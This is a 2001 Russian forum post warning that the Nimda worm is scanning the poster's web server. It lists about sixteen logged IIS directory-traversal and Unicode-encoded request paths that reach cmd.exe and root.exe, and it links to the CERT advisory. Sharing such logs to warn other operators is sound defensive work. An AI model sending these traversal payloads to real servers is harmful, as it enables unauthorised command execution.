Внимание: Червь Nimda



Posted by Аркадий Водяник (195.206.226.9) on September 19, 2001 at 22:26:57:

Если посмотреть статистику нашего сайта
(
http://hdru.com/cgi-bin/as.cgi?4
http://hdru.com/cgi-bin/as.cgi?3
)
за последние два дня, можно увидеть интенсивное
сканирование (более 10000 хитов в день) вида:


/scripts/root.exe?/c+dir
/MSADC/root.exe?/c+dir
/c/winnt/system32/cmd.exe?/c+dir
/d/winnt/system32/cmd.exe?/c+dir
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
/msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
/scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
/scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
/scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
/scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
/scripts/..%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%5c../winnt/system32/cmd.exe?/c+dir
/scripts/..%2f../winnt/system32/cmd.exe?/c+dir

Это червь Nimda пытается поразить наш Web-сервер.
Nimda весьма опасен для Windows. См. подробности:

http://www.cert.org/advisories/CA-2001-26.html


Пpишедшие ответы: